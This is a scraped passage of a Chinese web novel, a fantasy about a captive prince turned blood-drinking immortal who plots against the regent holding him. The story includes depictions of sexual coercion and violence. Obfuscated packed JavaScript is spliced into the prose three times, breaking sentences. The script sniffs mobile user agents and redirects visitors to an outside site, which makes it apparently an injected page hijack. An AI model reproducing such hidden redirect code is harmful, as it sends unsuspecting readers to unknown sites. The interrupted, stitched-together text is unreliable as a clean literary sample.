“今日叫那小皇帝在奏疏上盖了章,你便是本王的人了,天子赐婚,两国联姻,四海皆知,你跑不了了。”凉王揉着他的额头,“昨晚是本王太心急了,我该耐心哄着你。” “你父皇不要你了,本王要你,本王心悦你,这话是真心的。” 马车挪动起来,摇摇晃晃的,邱晚出奇的平静,凉王也平静下来,他发觉这样抱着邱晚太舒服了,舒服得像是回到了年少时最初的悸动。 那时凉王爱慕着一个少年,是中书舍人的儿子,姿容美,笑可羞月,十六岁的凉王已封王开府,最爱的事便是约少年去狩猎打野,跑累了就四仰八叉躺在麦田里,烈日照在身上,身上汗津津的,下身悸动不已,他闭着眼,偷偷碰他指尖,听风声刮过麦田。 车轱辘碾过车痕斑驳的大道,路面全是凉王数十年叱咤雍都劈下的刀痕。凉王仿若在邱晚身上嗅到了麦香。 凉王出行,府兵开道,百姓都被士兵用长棍拦至大道边缘。 人群推搡着,跟着前行的马车跑。 “听说,南邱太子被凉王给活捉了,会不会就在这马车里?” “不能吧,南邱太子是战俘,坐的该是囚车。” “什么太子不太子,听说被凉王收为了房中人,连个男人都算不得了……” “南邱肯定不会认这个太子了,一国储君成了他人的胯.下人,这可真是奇耻大辱!” 人群中起了一阵哄笑,还夹着混乱的咒骂声,人们仿若在这起哄中获得了极大的快感。 那些九天之上的金枝玉叶,那些触不可及的云中雀,唯有当他们折断羽翅跌入尘泥时,才会露出他们的狼狈底色。 人们愉悦地嘲笑着,瞧吧,原来那锦绣堆里裹着的,也不过是些贱骨头。 直到马车入了朱雀门,围观的人群才散去。 雍宫不比建康城的邱宫奢靡繁华,却更威严大气,马车一入宫城,皇家的恢宏气势便扑面压来。 凉王命崔自青守着邱晚,自己先入了殿。 邱晚与崔自青一坐一立候于廊下。 大雪一夜,宫里的小太监、小宫女正在忙着扫雪。 崔自青下定决心不再看邱晚,他铁青着一张脸,站得笔直,摆出铁面无私的模样,仿佛与邱晚有仇。 邱晚坐于美人靠上看云雀啄食,忽而从檐上蹿下一团黑猫,那猫凶巴巴的,弓着腰背,耸着毛发,朝邱晚呲牙齿,那惊恐的眼神,像是看到了什么可怕的鬼怪。 “哪来的畜生!”崔自青正要驱赶,哪知那只猫先他一步朝邱晚扑将过去。 崔自青急了,疾冲过来,拔刀就是一砍。 黑猫在邱晚眼前被生生削成两段,鲜血飞溅,死猫摔在阑干上,继而落入积雪的花木里。 宫女太监们啊呀呀吓得乱窜。 大太监杨公公急吼吼跑过来:“崔小将军,这是怎么了?” 崔自青的注意力全在邱晚身上,邱晚素净的衣袍上、白如冷玉的指尖上都沾了血,崔自青朝怀中掏了半天,也没能掏出一块帕子来,他一个糙汉子,没这种东西,他想用衣袖为邱晚擦一擦,又怕脏了他。 “怎的弄成这样!”杨公公瞧着这满身满地的血,“一会陛下见了,又得多心了……快快快,快带邱太子去更衣。” 正忙乱中,殿中传来一声:“宣,邱太子觐见。” 邱晚起身来,淡淡扫了那杨公公一眼,道了声:“不必了,多谢公公。” 杨公公摊着手:“这……” 邱晚没有理他,他径自走着,他用指腹揉搓着手上渐渐凝固的血迹,区区血液,食物而已,若邱晚想要,那它就是美味,若邱晚不想要,那它就是死物,邱晚揉搓着它们,将它们揉碎,揉成糜粉,揉散于风中。 没什么可怕的。 不是吗? 还未入殿,先嗅得一鼻子的药香味,隐约可闻咳嗽声,听闻小皇帝是个病秧子,日常吃的药比膳食还多。 邱晚跨过高高的金砖门槛,入殿便见凉王立于小皇帝面前,咄咄逼人说着话,而小皇帝则畏畏缩缩坐在龙椅里,一副不堪负重、随时准备要逃的模样。 邱晚远远一瞧,好一个病怏怏的小可怜。 这一君一臣见着邱晚进来了,小皇帝立马坐直了,而凉王则居高临下望着邱晚。 邱晚双手交叠,朝小皇帝行了个最高级别的跪拜礼:“邱朝邱辞兮,拜见陛下。” 凉王嘴角一抽,凉飕飕看着邱晚裸露的雪白后颈,恨不得一把掐下去。 “快请起。”小皇帝道。 “谢陛下。”邱晚直起身,抬眸向小皇帝看去,四目触及之时,两人俱是一愣,邱晚眼中是惊、是疑惑,而小皇帝则是极其收敛的、不动声色的喜。 殿中一时静了。 凉王率先说道:“既然南邱有意求和,此事当趁热打铁,一应细则奏疏中已分列明晰,请陛下尽快下旨,使团即刻便可出发。” “皇叔不急。”小皇帝握着龙椅上雕刻得栩栩如生的纯金龙头,紧张地摩挲着,他徐徐说道,“朕倒想问问,这位邱太子本人的意愿。” “陛下!”凉王厉声喝道。 小皇帝吓得浑身一抖。 “南邱乃战败国,邱辞兮乃战俘,所有主动权都在我北雍,陛下身为一国之君,当权衡利弊,速作决断!” “多年来,北雍一直深受乾邱两国大江联盟之威胁,如今如此天赐良机摆在眼前,陛下还要犹豫吗!” “至于邱辞兮,”凉王走向邱晚,看所有物一样看着他,“陛下就更不用问了,他已经是本王的枕边人,差的不过是一纸婚书。” 小皇帝瞠目结舌,他看了看凉王,又看向邱晚,随后剧烈咳嗽起来,他咳得面目通红,那声音仿若要将心肝肺通通咳出来才能罢了。 他缓了好一会,仍不放弃道:“此事,绝非大国之所为,朕……朕怕留骂名于千古……” “陛下!”凉王将指上玉韘咣当砸碎于小皇帝脚下,怒道,“本王怎么教你的,妇人之仁,何以为君!” 满殿侍候之人吓得齐齐跪地。 “陛下。”邱晚出声了,“方才我在殿外遇到一只畜牲,着了惊,弄脏了衣裳,可否借陛下御所换下衣裳?” 凉王侧目望过来。 小皇帝急得站起来,忙忙应允:“好!” 凉王还要说话,小皇帝忙抢先道:“请皇叔息怒,皇叔教训得是,此事一会再议。” 邱晚被小太监引往后殿去了,小皇帝走下龙椅,在殿内心不在焉转了两圈,又吩咐尚食局送来茶与点心。 直到小太监说该用药了,他才一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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邱晚看着小皇帝眼中的热切,写道:“既可助君夺权,亦可救我,更可保雍邱十年休养生息。” 小皇帝的眼神变得凌厉起来,他捏了捏手指,写道:“是何良策?” 邱晚又看了小皇帝一眼,写下三字:“杀凉王。” 小皇帝当即惊呼道:“不行!” 他紧张得一跺脚,咬着牙,写道:“朕做不到。” 他用手抹掉,又写道:“没有凉王,北雍就完了!” 邱晚静静瞧着他那窝囊害怕的模样,郑重写道:“北雍有陛下。” 小皇帝怔怔看着邱晚,他不明白这人身处这样的境地是如何镇定自若同他说这些的,还显得这么胸有成竹。 “容朕再想想。”小皇帝气馁地往矮榻上一坐,直揉太阳穴。 邱晚知道这事一次两次成不了,但今日必须在他心中埋下一颗种子,他索性走过去,握住小皇帝的手。 “辞兮?”小皇帝睫毛颤了颤,一双小鹿眼无辜又脆弱。 邱晚在他掌心写道:“雍军只知凉王,不知雍王,君知之否?” “北雍新铸的年号钱,背面刻的是凉王的徽章,君知之否?” 小皇帝的手在抖,他反手握住了邱晚的手,攥得紧紧的。 邱晚却抽开了,他整了整仪容:“谢陛下赐衣。” “辞兮!”小皇帝神情显得很痛苦,他压低声音道,“凉王……凉王他有没有欺负你?” 邱晚几乎立刻明白了他的意思,他已经不会再为此类事刺疼了,不知是因为吸多了血,还是因为吸多了凉王的血,他似乎也沾上了残忍,他故意刺激眼前这个小可怜的心:“这并不重要。此事不成,我不会苟活。” “辞兮!”小皇帝极力压低着声音,漂亮的大眼睛似要哭了。 “陛下若有决定,随时可再找我。”邱晚退了几步,又问道,“我记得陛下那时还有一个弟弟,受了重伤,他现下如何了?” 小皇帝噙着泪,抠着桌角:“他……很好。” 邱晚点点头,走了。 今日这番际遇,是邱晚没有料到的。好事是,小皇帝竟是旧相识,并且邱晚于他有救命之恩,而坏事是,小皇帝比传闻的还要懦弱无能。 邱晚所谋之事无异于剔北雍之筋骨,从朋友的角度,这并非君子所为,可从邱太子的角度,邱晚不可不为。 这世间是非黑白,并非只有一把量尺。师父常说,守住心中光明,方可正身于天地间。邱晚并非要做什么正人君子,他唯愿,于泥沼中,守住本心。 他心情复杂,独自走在帷幔飘飞的长廊,北雍的风夹着雪花,冷冷打在他脸上。 可邱晚一点也感觉不到冷了。 “去了这么久,做什么了?”邱晚被一道魁梧的身影挡住。 不用看都知道是谁。 “我迷路了。”邱晚说道。 凉王一把揪住邱晚的手腕:“以后不能放你出来见人了。” 邱晚背上起了一层鸡皮疙瘩,凉王已拽着邱晚直接出了宫,他甚至都不等小皇帝了,将邱晚往马车一扔,便同来时路一样,将邱晚抱于怀中,沉默着不说话。 邱晚心下感觉哪里不对劲,转眼回到了王府,凉王将他抱起往肩上一扛,便下了马车。 正巧碰见萧寂外出回来,一刀推着轮椅,唤了声“王爷”。萧寂没有作声,他今日换了身世子制服,带金佩紫,与昨晚很是不同,倒显出一派龙章凤姿来。 邱晚的目光与萧寂短暂触及了一瞬,便被凉王以极羞耻的姿势扛入了院。 满府之人避讳不及,纷纷垂首跪地。 回到了香雪坞,凉王大喝一声:“伺候沐浴!” 7.赠钥 全身的重量压在腰腹处,身体倒垂着,一晃一晃的,邱晚快吐了。 自从知道了凉王对他存的什么心思,邱晚就没法单纯地将他当作猎物,一想到凉王每次兴奋得直颤时在幻想些什么,邱晚就头皮发麻。 凉王摸了一把邱晚染了红晕的脸:“真该为你打一副面冑。” 什么? “叫别人看不见你,你也咬不着别人。”凉王扛着邱晚穿过卧房,径直进了湢室。 一个总角小侍从湢室后头的烧火间滚出来,正好挡在凉王面前。 “王、王爷,这……这火才烧起来,水还未热……” 原来,这香雪坞的卧房连着湢室,湢室分为前后两间,前间为洗浴间,后间为烧火间,浴池的水正是靠烧火间来加温的。凉王回来得太急,烧火间根本来不及准备。 凉王一脚踹开他:“那就去烧!” “是是是。”小侍头都不敢抬,屁股尿流滚了。 这湢室前间并不大,左更衣,右浴池,中间一座屏风隔开。凉王焦躁地绕了半圈,将邱晚扔在更衣的软榻上。 “自己脱,还是本王给你脱?” 侍候之人瞧着这情形,均默默往后退。 “都给本王滚。” “是、是。” 湢室的门被人从外边关上,屋内只剩邱晚和凉王两人,烛火晃动着,将凉王魁梧的身影投在屏风上,像一只随时会扑上来的野兽。 邱晚心跳得厉害,他从前从未想过这世上有人会给他这种威胁,不是武力上杀他,不是权势上压制他,而是作为最原始的雄性兽类,想要侵犯他。 邱晚只觉自己的骨头都在咯咯作响。 这儿里外都是凉王的人,不管发生什么,没有人会帮他。 邱晚只有自己。 “怕了?怕了还敢背着本王与人暗通款曲?”凉王直勾勾凝着邱晚,“在暖阁里跟小皇帝说了什么,做了什么?” “换件衣裳而已,王爷如此在意?”邱晚掐着软榻上垫的兽皮,往后移。 凉王拽住那张黄黑相间的虎皮,继而握住邱晚的脚:“你是我的东西,谁也不许碰。皇帝也不行。” 邱晚咬牙道:“如若是我碰了别人,吸了别人的血,王爷当如何?” “你不会再有这样的机会了。”沉如大山的身体压住邱晚的腿,继而掐住邱晚的腰,凉王那张脸逼近,“即日起,罚你在香雪坞禁足,没有本王的命令,不准离开半步。除了本王,你见不到任何人。” “你要关我?”邱晚的唇微颤。 “本王不仅要关你,还要驯服你,直到你乖乖服软,雌伏于本王身下,求本王疼你。” 邱晚惊慌地看了一眼湢室的门:“你休想。” “那我们不妨试试。”凉王捧住邱晚的脸,“小晚,本王也是为了你好,你不知道雍都有多少豺狼,本王杀了几十年都杀不干净,你这样的要是出去,会被他们吃得骨头都不剩……” 烧火间的火旺起来了,水温渐渐热起来,氤氲水汽蒸腾起来。 “你只要听话,何至于受苦,本王疼你还来不及……”凉王滚烫的大掌隔着衣袍抚摸着邱晚,邱晚的四肢却仿若僵住了,他盯着凉王那青色的颈动脉,他该一口咬下去的,可他只觉得反胃,痉挛。 叆叇烟光中,凉王渐呈情迷之态,他急不可耐地扯开自己的衣领,露出光洁的脖子,他搂过邱晚,将他按在自己颈间。 “咬。”凉王命令道。 邱晚紧咬着牙,不肯。 “咬!本王叫你咬!听到没有!”凉王急得怒了。 邱晚将牙关咬得更紧了。 凉王受不了了,他一口咬破自己的手指,将流血的手指怼到邱晚嘴边:“张嘴!本王命令你张嘴!” 北雍凉王的血。 邱晚转化为不死人后的第一口鲜血。 是鲜美的,足够诱人的。 可邱晚已没了兴致。 “我不会再吸你的血了。” 凉王眼中闪过惊愕,他低吼道:“你不是很喜欢这个吗?不喜欢了?” 邱晚悲悯地注视着凉王,他明明在发怒,在威胁邱晚,可他看起来好像一条失宠的丧家犬。 “不是我喜欢。是你喜欢。”邱晚冷声道。 凉王身体一绷,他瞪大着眼,指上的血顺着邱晚雪白的下巴往下滴。 红的唇,白的脸,像冷酷的艳鬼。 凉王痴痴看着那道血迹,突然很想舔干净它。 那一瞬,他甚至……甚至想卑微地抱住邱晚,求邱晚,求邱晚咬他一口。 凉王浑身一个冷颤,他怎会有如此想法!他堂堂北雍凉王,为何会有如此疯狂的想法! 他终于明白那一直萦绕于心头折磨着他的是什么,是上瘾,他对邱晚上瘾了。 凉王不敢相信,他久未如此挫败过了,这让他想起了十六岁时疯狂爱上的那个少年……那个让他丢盔弃甲、情难自禁、痴狂疯癫的少年。 “小晚,你是阿念吗?”凉王捧住邱晚的脸,“你是阿念转世来寻我、折磨我的,是吗?” “王爷!”突然进来的燕绥看到这一幕,惊叫一声,跪在地上。 “谁让你进来的?”凉王怒道。 燕绥伏地,跪着爬过来,泣声道:“王爷,元公子已死去二十三年,不会再回来了。” “你闭嘴!” “王爷……” “来人,将他拖出去!” “王爷!此人是妖孽,他会害了你,他会害了你啊……” 燕绥的声音越来越远,凉王颤抖着转回头:“不必理他。小晚,你一定要听话,别去危险的地方,别做危险的事……有本王在,不会再叫你受苦。” 他闻着邱晚颈间的香味:“你身上有麦香的味道,阿念的味道。” 他似乎产生了幻象,他似乎又回到了十六岁那片烈日下汗涔涔的麦田,身侧少年轻轻勾着他的手,红着脸朝他笑。 凉王身上立刻悸动不已,他着了魔了,拉过他便将他翻转身压在身下。 他也这么对邱晚做了,他死死压住邱晚的手脚,手往下用力一扯,腰间丝帛便撕裂了,雪色春光乍现。 邱晚脑袋都要炸了,隔着亵衣,后腰仿若抵着段烧红的陌刀,锋刃未出鞘便已烙透薄锦。 “小晚……” 忽听一声令人毛骨悚然的低啸,凉王还未反应过来,便被邱晚整个叼住拖入了浴池中。 池中砸出一个大大的漩涡。 水花飞溅! 很快,水面只剩下几缕漂浮的血迹。 就在这时,有人大叫起来:“走水了!” “走水了!” “走水了!” “快救火啊!” 里外瞬间乱作一团。 浴池水面咕噜咕噜冒着泡,过了好一会,邱晚啪的从水中钻出来。 乌黑的墨发滴着水,顺着他莹白的脸、湿透的身体往下滴,邱晚缓缓抬头,他眼底浮着红光,嘴上红艳艳的,像吸人精血的艳鬼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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火渐渐被扑灭了,火是从湢室的烧火间烧起来的,不知怎么的,像被人泼了油似的,不消半刻功夫,便将整个香雪坞烧成了一片灰烬。 就连院中的湘妃竹也被烧成了黑脸妃子,软趴趴地倒在地上,一派怂样。 凉王被人抬了出来,是在浴池中发现的,脸色惨白,像个活死人。 “王爷!”燕绥哭得跟个泪人似的。 “送王爷回去,传大夫。”萧寂吩咐道。 “是。” 尘嚣渐渐落下,雍都的天空笼着灰暗浓云,日光也暗下来。 雪又开始飘起来了。 很快,黝黑的院子里只剩下萧寂和邱晚。 “这火烧得离奇。凉王怕是要大病一场。” “请将我移送战俘大牢,让我和我的将士呆在一起。”邱晚转身,冷声道。 萧寂转着轮椅挨近。 他从袖中摸出一枚铜钥,捏住邱晚指尖,塞进他手里。 “松影坡下,有一处抱朴轩,三间厢房,前有流泉,后有梅园,虽简陋了些,作为暂居之所,勉强尚可。” 邱晚不解看他:“我为什么要住你的屋子?” “不是我的,是我娘亲的。” “还有,”他说道,“我怕黑,你住得离我近点,我就不怕了。” 8.借花 如萧寂所说,这抱朴轩确实是一处幽静雅致的所在。 前有高柳流泉,后有梅苑香径,轩内书斋、卧房、静室各一间,邱晚一开始还心有疑虑,走进来后,心却莫明平静了。 他喜欢这里。 “公子且安心住几日,主子平常不住这,这儿空置多年了,一切等王爷醒了再说。”一刀扫过一眼就能望到底、堪称家徒四壁的三间厢房,“就是……太简朴了些,一会再叫人添置些东西。” “不必了,这样就挺好。”邱晚抚过那些伤痕累累的桌椅,那些痕迹像刀痕又像勒痕,或深或浅,每一道都像是某个人的一段生命印记。 “这个铜铃连着归真阁,公子若有什么事,摇一摇这个铜铃,主子就能知道。”一刀指着床榻边悬着的一个铜铃,“主子小时候夜夜惊厥,又不愿他人守着睡,就安了这个铜铃,这铃一响,就算是半夜下刀子我也得从上头飞下来。” 邱晚问道:“世子有夜惊症?” “算是吧……”一刀挠挠头,憨笑,“不过主子昨儿下半夜睡了个好觉。”他说着将轩窗一推,“公子看,那就是归真阁。” 果真,白雪皑皑的松影坡上,半座重檐飞阁,邱晚昨夜去过那里。 邱晚心有微澜,他收回目光,这抱朴轩唯一富庶的大约就是这间书斋了,双层书阁,三面书架,藏书颇丰,邱晚随手拣了几本,每一本都有翻阅过的痕迹,零星可见几笔批注。 “公子请便。”一刀识趣退下了。 邱晚掌了灯,就着落雪声找书,忽听“吧嗒”一响,那扇半敞的木窗关了。 一道冰凉的气息抚过后颈,邱晚全身一麻,回头一看,果然是顾千尘。 这人依旧笑盈盈的,手里捧着只大肚陶罐子,罐子里插着几枝红梅,配了雪松枝及湘妃竹,像个采花大盗。 “岁寒三友,借花献佛,献给我的小辞兮。” “你怎么来了!”邱晚手一晃,烛台的蜡油滴到了手背。 “我不能来?”顾千尘逛自个家一样,左看看,右看看,随后将那陶罐子摆在卧房的花架上,“赶在香雪坞被烧光之前采了几枝湘妃竹,总算没辜负小辞兮在那住了一晚。” “那火……是你放的?”邱晚问道。 “我有这么无聊,跟这些小人儿玩过家家?”他专心摆弄着那陶罐子,看了又看,捏着下巴直摇头,“不对……放这不对。” 他又抱起那只陶罐子,搬到了窗下的小案上,比着窗子又调了调角度,这才满意点头:“这就对了。” 邱晚一头雾水。 这人在干嘛? “不许挪动这个罐子,知道吗?”顾千尘在邱晚脸上捏了一把。 邱晚对他这种自来熟的亲昵还非常不适应,他干咳一声,准备同他约法三章。 顾千尘却出了声:“我瞧那古画上,岁寒三友还挺好看的。”他煞有介事地摆弄着那些梅啊松啊竹的枝条,“怎么到了这,这么丑?” 邱晚没心情同他顽笑:“你不是说,在我了结这些事情之前,我是自由的吗?” “你觉得跟我在一起,就是不自由?”顾千尘掀起眼皮子,看他。 邱晚抿了抿唇。 “我要出一趟远门。”顾千尘负手过来,声音非常温柔,“去一个很远的地方,所以先来看看你。” “去哪?” “跟我一起走吗?”顾千尘问道。 “不了。”邱晚拒绝得很干脆。 顾千尘笑了,揉揉邱晚的脑袋:“放心,我不会干预你的事,除非经过你的同意。” “不死人有个不成文的规定,不得暴露自己的身份,不得随意介入这世间其它人的因果,除非是自己身为凡人时的恩怨情仇。否则以不死人的力量,这世界岂不乱套了?” 他始终用着哄小孩一样的语气同邱晚说话,并似乎以此为乐。 邱晚将信将疑,这人一会正经一会不正经,话只能信一半。 “凉王可以弃了,换个猎物,知道吗?不死人不可留恋任何一个猎物,没人可以一直喂养你,小辞兮,你必须记住这一点,否则受苦的是你。” “你的毒液一般人招架不住,多物色几个猎物,别光逮着一个人霍霍,知道吗?” 邱晚垂着眸子,点点头。 “今日这么乖?”顾千尘凑近,歪头看他。 邱晚忽觉后颈汗毛都立起来了,本能地后退几步。 “怕我?”顾千尘满目温和的笑意。 “不是!没有。”邱晚咬咬唇,“我有事要问你。” “哦?”顾千尘立马来了兴致,“小辞兮有什么问题?” “你知道一个叫阿念的人吗?姓元,凉王似乎很在意这个人。”邱晚问道。 “元念,元其言?”顾千尘问道。 “据说是二十三年前去世的。” “那就是他了。”顾千尘一改笑意,面色凝重起来。 “他是谁?与凉王是何关系?”邱晚追问道,“‘元’姓是东乾皇族的姓,他是东乾人?” “辞兮对这人很感兴趣?” “凉王某些时候,似乎将我认作了他……” 顾千尘皱了眉,这次换了命令的语气:“凉王你以后不准再碰了!” “为何?”见他面有愠色,邱晚又问,“元念究竟是何许人?” “一个可怜人。”顾千尘拉过邱晚,坐在身边,“但凡好花皆易落,从来尤物不长生,小辞兮还是不问的好,我怕你听了会……”顾千尘的目光落在邱晚脸上。 “会什么?” “会介怀,会有……”顾千尘欲言又止,“不是指元念本人,而是指他的经历,还有那些欺负过他的人。” “他经历了什么?”邱晚莫明心一揪。 “辞兮,你生在一个极其混乱的时代,但这人世间不是所有时代都是这样的。”顾千尘摸摸邱晚的脸,“不妨现在就跟我走吧。” 邱晚眼皮一跳,怎么又来? 顾千尘望着邱晚那倔强的神情,知道他不会愿意。 顾千尘原本想,没关系,他可以春风化雨,慢慢的,叫邱晚心里自个愿意了,心甘情愿跟他走,他们有的是时间。可这小人儿远比他想象的还要有想法,还要招人,顾千尘有些没把握了。 他摸向邱晚颈间那个圈圈:“这颈圈戴着可有不适?” “你给我解开!”邱晚立马抗议。 “它可以保护你,也可以让我感应到你,否则,留你一个人在这,我怎会放心?”顾千尘倚在凭几上,朝他笑。 顾千尘说这话的模样倒是认真,邱晚差点就信了,哪知他又说:“你要是敢跑,我立马就可以追踪到你,抓住你,狠狠教训你。” 邱晚脸又黑了。 顾千尘笑了,张开双臂:“过来,让我抱抱。” “你又要如何?”邱晚心生戒备。 顾千尘直接将邱晚揽入怀中,将脸埋入他颈间,狠狠吸了一口:“妈的,叫那糟老头子抱来抱去的,你缺心眼吗?” “我有分寸,没吃亏。”邱晚闷声道。 顾千尘要气笑了:“是我吃亏了,行了吗?” 邱晚实在是头皮发麻,浑身鸡皮疙瘩都跑出来了,他推开顾千尘,说道:“关于伴侣这件事,我有话要说。” 顾千尘始终微笑着看他。 邱晚一本正经道:“其一,我当你是老师,是再生之父,我会一直尊敬你,其二,我认为伴侣是漫长永生路上彼此陪伴的朋友,其三我希望……” “我可不是为了找个孝顺徒儿。”顾千尘没等他说完,那双黑曜石般的眸子里已蕴了些欲望,“辞兮,我是个有正常需求的老妖怪。” 邱晚心一梗,这人是完全不绕弯啊。 顾千尘又狠狠揉了一把邱晚:“我选来选去,怎么就选了你,长了恁个风流样,却这么不开窍……”他叹了口气,贴着邱晚的耳,“今晚可以亲你吗?” 邱晚毛都要炸了,直接弹出数米远。 他将窗一推,如临大敌:“你可以走了。” “这么狠心?”顾千尘气笑了,“你不是在谋划扳倒凉王?我这送上门的万事通,你确定不要?” 邱晚决绝的眼神霎时一变:“你有何良策?” 顾千尘再次张开怀抱:“过来。” 烛火闪烁,窗外雪正浓,顾千尘长指一勾,越过邱晚的肩,将那窗前竹帘放下了。 微风摇庭树,细雪下帘隙。顾千尘在桌案上摊开一张宣纸,一笔一笔,将北雍皇室各人之间的利害关系、三大氏族之间的过往一一讲给邱晚听,听到萧寂的真实身份时,邱晚着实吃了一惊。 “《孙子兵法》有言,上兵伐谋,其次伐交,其次伐兵,其下攻城。辞兮,你想达成目的,上策是不费一兵一卒,让敌人不攻自破。” 邱晚点头:“我同你的想法一样。” “现在,你知道你最需要攻克的人是谁吗?”顾千尘望向他。 “小皇帝萧蘅。” 顾千尘摇摇头:“萧蘅只是第一步,你将来想要牵制雍、乾两国,真正的猎物应该是……”他将笔往所有矛盾的中心一点。 “萧寂?” 邱晚眉目一疏,茅塞顿开,与顾千尘颇有些相见恨晚的意味。这一刻,他能感觉到顾千尘是真心在帮他。 顾千尘拿笔轻轻蹭邱晚指尖,又露出那试探的眼神:“正事谈完了,是不是该奖励奖励我?” 邱晚眼睫一颤,屋外忽的响起急促的敲门声。 “是谁?”邱晚忙稳住心神。 “崔自青。”门外之人道。 “就当作送我远行的礼物。”顾千尘轻喃着,已自行靠上来,他搂住邱晚,轻嗅着,一口咬了下去。 邱晚毫无防备,腿立时有些软,门外人仍在敲门,邱晚揪住衣袍,回应道:“有、有何事?” “我奉命前来封锁抱朴轩。”崔自青道。 “凉、凉王昏迷着……你奉的谁的命?”邱晚气有些喘。 “义父只说要禁公子的足,公子住哪,我便封哪。” 身后的顾千尘发出一声不耐的低吟,透着烦躁和杀意。 “再不开门,我就撞门了!” 崔自青根本不客气,只听“砰”“砰”两声大响,那门便被生生给撞开了。 崔自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323163|163457||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青杀气腾腾冲进来,风雪在他身后肆虐着,数十人举着火把堵在门口,将雪夜照成了一团火。 “在外头守着!”他命令道。 他像只敏锐多疑的狼,在屋中梭巡一圈,最后将目光落在窗边那罐子岁寒三友上。 “方才有人来过了?”崔自青审视着邱晚,瞧着他脸上透着红晕,一派风流情态,火气更大了。 邱晚扶住桌角,拢了拢衣领,头有些晕。 这天杀的顾千尘,下嘴真是狠。 “说话!”崔自青一身青玄甲,显然刚从军营回来,他有些焦躁,坚硬的皮靴将地面踩得嘎嘎响,“义父病得很重,他从未这样病过,是你做的?” 邱晚调整了气息,直视着他:“我做了什么?” “他昨晚在你床上,出事前也同你……”崔自青涨红了脸,咬牙切齿道,“邱辞兮,我警告过你,我会一直盯着你,你若是敢对义父做什么,我第一个不会放过你。” “我倒不知你对凉王如此忠心。”邱晚冷冷笑了。 “义父于我有活命之恩,他养我、育我、教我,胜过再生父母!” 邱晚笑得更冷了:“当年北雍三大氏族之首崔氏被一夜灭门,凉王独独留下了你这个庶子,个中原由你可曾细究过?” “你休想挑拨离间!”崔自青立马反斥道,“我自十岁便随义父南征北战,我知道于这乱世中立足,非武力不可得。” “所以你屠城,杀光所有人,宁可错杀一千,不可放过一个,崔自青,穷兵黩武之人,总有一天会死在自己刀下。” “邱辞兮!” “崔小将军不是一贯下手狠绝吗?”邱晚转过身,“你视我为眼中钉,何不就此杀了我。” 崔自青气得全身直抖:“邱辞兮,我真是看错你了!” “看错?”邱晚冷笑。 “崔自青,你穿着这身皮,跑到我面前,说你看错我了?”邱晚嘲讽似地转头看向他,双眼渐渐浮起红光,“你希望你的战俘有多高洁?宁死不屈?以死明志?” “姓崔的,若不是你,我会干干净净死在战场上!我会化成一堆白骨,与我的将士们一起,生生世世守在建康城外!” 邱晚忽而悲从中来,击出一拳狠狠砸在崔自青心口,从喉底发出一声低吼:“那才是我的归宿!” 崔自青酿跄了一步,愣住了。 他生生受了这一拳,心口跳得快要疯了,他怔怔看着眼前的邱晚,这只一贯骄傲的天鹅浑身颤抖着,像一只破碎的纸偶,飘飘零零的,仿若一阵大点的风便会将他吹坏了,吹散了。 风雪透过竹帘灌入屋内,崔自青慌了,他冲到窗边,将那窗砰的关严实了,关了窗还不够,他一把拉下半悬的竹帘,却失手将竹帘子哗啦啦啦全扯断了。 他有些手足无措,无助地转过身看邱晚。 “小晚,如果你想……” “你叫我什么?”邱晚红着眼看他。 “小晚……”崔自青的心也要跟着碎了。 “闭嘴!小晚是你叫的吗?” “我……”崔自青自知失言,可是他忍不住,他已在心里梦里将“小晚”“小晚”叫过千遍万遍了。 他一定是疯了。 这人已经是他义父的人,是他义父昭告天下要娶的凉王妃。 事已至此,他究竟在肖想些什么? 崔自青不过是这样被邱晚的目光笼着,全身就如有电流细细密密地涌过,他移不动,也走不了,只能悲凉无助地望着邱晚,挤不出一句话。 “要关就关,要锁就锁,随你。”邱晚不耐地将钥匙一摔,“请你走,我不想看见你。” 崔自青喉间干涩,声音都嘶哑了:“香、香雪坞都烧没了,你……你有没有受伤?” 这样一句关心的话,仿若要耗费他所有力气。 “与你无关。”邱晚根本不再看他。 “小、小晚……”崔自青的声音在抖。 “滚。” 崔自青不知道自己是怎么走出抱朴轩的,当初,他只不过是想射下建康城上那只美丽骄傲的鹰,叫他跪着服输。 事情怎会变成这样? 他后悔了,从凉王将邱辞兮从他手中带走的那一刻起,他便开始后悔了。不,从他将邱辞兮拖在马后,将他弄得遍体鳞伤时,他就后悔了。 邱辞兮是他崔自青的对手,不该变成这样。 心口被拳头打中的地方火辣辣的疼,想到凉王每晚对邱晚做着什么,崔自青更是疼得想发疯。 抱朴轩果然被封了。 崔自青这厮办事一点也不含糊,说封就封,里里外外三层,一只蚊子也别想飞出去。 奇怪的是,他在萧寂这位太岁头上动土,那边却一点反应也没有。 邱晚胡乱揉了揉头,他需要尽快见到两个人,一个是小皇帝,一个韩松之,可这么一封,溜都不好溜了。 还有一个很现实的问题,他上哪找猎物? 总不能求着去见凉王? 正懊恼着,屋内响起了“叮铃铃”的铃声。 邱晚寻声望去,那悬于卧房的铜铃像只快乐的云雀,晃得正欢。 9.梦游 铃声没有停的意思。 邱晚起身寻去,那铜铃连着一根细线,穿过床幔,穿过床榻内侧的屏风,消失了。 那屏风已残破不堪,墨迹斑驳,褪色的青黛与焦褐间,隐约可见半幅神女乘云而去的画面,上头写着一行小字,邱晚趴到床榻上细看去。 “虽潜处于太阴,长寄心于君王。” 邱晚细咂着这句话,不知是不是错觉,画上神女的眸子似乎颤了一颤。 